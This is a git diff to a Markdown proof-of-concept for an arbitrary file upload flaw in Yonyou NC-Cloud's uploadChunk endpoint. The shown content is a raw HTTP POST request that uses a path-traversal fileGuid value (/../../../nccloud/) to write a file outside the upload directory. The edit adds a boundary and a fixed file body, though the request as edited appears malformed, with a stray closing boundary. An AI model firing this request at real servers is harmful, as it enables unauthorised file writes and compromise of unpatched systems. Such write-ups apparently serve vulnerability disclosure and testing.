diff --git a/用友NC-Cloud uploadChunk 任意文件上传漏洞.md b/用友NC-Cloud uploadChunk 任意文件上传漏洞.md
index 4894175..56810aa 100644
--- a/用友NC-Cloud uploadChunk 任意文件上传漏洞.md	
+++ b/用友NC-Cloud uploadChunk 任意文件上传漏洞.md	
@@ -7,12 +7,16 @@ app="用友-NC-Cloud"
 
 
 ## POC
+
 ```
 POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
 Host: {{Hostname}}
-Content-Type: multipart/form-data;
+Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
+
+--024ff46f71634a1c9bf8ec5820c26fa9--
 Content-Disposition: form-data; name="file"; filename="test.txt"
-{{randstr}}
+
+1123213
 --024ff46f71634a1c9bf8ec5820c26fa9--
 
 ```